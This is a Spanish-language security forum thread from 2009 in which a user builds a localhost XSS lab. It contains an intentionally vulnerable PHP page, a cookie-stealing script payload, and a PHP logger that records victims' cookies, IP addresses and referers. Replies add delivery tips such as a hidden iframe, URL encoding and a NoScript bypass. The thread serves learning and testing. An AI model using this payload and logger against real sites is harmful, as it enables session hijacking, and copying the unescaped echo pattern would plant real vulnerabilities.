Duda sobre XSS

Iniciado por pedrox@, 2 Marzo 2009, 01:52 AM

0 Miembros y 1 Visitante están viendo este tema.

pedrox@

Bueno me he puesto a leer un poco sobre XSS y hacer pruebas en mi localhost, hize un script vulnerable a XSS (vuln.php) y otro que recoge la cookie (xss.php) por la variable 'cookie'.

Entonces si entraría a:
http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>

en un archivo llamado log.html se me escribiría la cookie, bien...
No podría meter ese enlace entre etiquetas <img> por ejemplo:

prueba.html
<img src="http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>">

para que cuando habra prueba.html se envie la petición get con esa url y se guarde la cookie menos sospechosamente?

Intente hacerlo asi y no me rulo, pase la url por urlencode() y tampoco.

Un saludo y gracias de antemano  ;)

sirdarckcat

cambia en + por %2B y cambia document.cookie por escape(document.cookie)

WHK

Eso no debería funcionar a menos que el explorador sea vulnerable ya que cuando encierras una ejecución de script dentro de <img> esta no debería interpretar ningún tipo de código html y mucho menos javascript, por eso en las pruebas de concepto por lo general yo coloco un iframe de tamaño 1 pixel sin bordes ni scrollbars para evitar que se vea el punto de color negro.

Por lo que yo tengo entendido no puedes causar una ejecución arbitraria desde imagenes, hojas de estilos (a exepción de msie con expresion()), etc. Lo que si puedes hacer es causar un CSRF y esas cosas porque los headers se interpretan igual ya sean cookies, redirecciones, autentificación de acceso, etc.

sirdarckcat

el lo que quiere es guardar en la cookie el valor
supongo despues la aplicacion imprime el valor de la cookie

de hecho usando esta tecnica puedes bypasear noscript.. ve la vulnerabilidad de los routers motorola que puse en Test.

pedrox@

yo tengo xss.php:
Código (php) [Seleccionar]
<?php
$archivo 
fopen('log.html','a');

$cookie $_GET['cookie'];
$ip $_SERVER['REMOTE_ADDR'];
$re $_SERVER['HTTP_REFERER'];
$fecha=date("j F, Y, g:i a");

fwrite($archivo'<hr>Cookie: '.$cookie.'<br>Viene de: '.$re.'<br> IP: ' .$ip'<br> Fecha y Hora: ' .$fecha'</hr>');
fclose($archivo);
?>


lo que quiero es que al abrir prueba.html que es:
Código (html4strict) [Seleccionar]
<html>
<head>
<title>PRUEBAS XSS</title>
<body>
<img src="http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>">
</body>
</html>


se ejecute el XSS y se me envie a log.html la cookie.
Espero que me entiendan, gracias por las respuestas.

Saludos,

sirdarckcat

cual es el codigo de vuln.php?

pedrox@

Pues para hacer pruebas hize esto que es simple y crea una sesión para que me guarde el PHPSESSID:

Código (php) [Seleccionar]

<?php
/* VULN XSS */
session_start();
$_SESSION['x'] =  true;
echo 
$_GET['x'];

?>


por cierto que diferencia hay entre una cookie y una sesión?

Saludos y gracias por la ayuda
;)

WHK

#7
Código (php) [Seleccionar]
<?php
/* VULN XSS */
session_start();
$_SESSION['x'] =  true;
echo 
$_GET['x'];
 
?>


Esa linea --> $_SESSION['x'] =  true; no le veo entido al igual que session_start() ya que no están siendo utilizadas, lo que necesitas es insertarle valores:

Código (php) [Seleccionar]
<?php
/* VULN XSS */
if(!$_COOKIE['x']){
 
setcookie('x''test');
 
$_COOKIE['x'] = 'test';
}
// echo nl2br(htmlspecialchars($_COOKIE['x'], ENT_QUOTES)); /* Forma correcta no vulnerable */
echo $_COOKIE['x']; /* Forma incorrecta vulnerable */
?>


Con esto ya estás declarando el valor de la cookie y podrás probar con ella.

pedrox@

pero tu lo que estás haciendo hay es para que meta en $_COOKIE['x'] el XSS.
Yo lo que quiero es un XSS normal, la sesion nomas la creaba para que document.cookie tendría un valor y poder insertalo a mi archivo donde se guardarán las cookies.

Con el echo $_GET['x']; insertaba el XSS y enviaba a mi registrador de cookies el PHPSESSID.
No se si me entiendes. Aunque tb lo podría haber hecho asi, creo..:
Código (php) [Seleccionar]

<?php
if(!$_COOKIE['x']){
      
setcookie('x''test');
}
echo 
$_GET['vuln'];
?>


Despues haciendo http://localhost/test.php?vuln=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Obtendría: x=test

Saludos.

sirdarckcat

bah entonces whk tiene razon y el <img> no te va a servir para explotarlo.

cambia <img> por <iframe>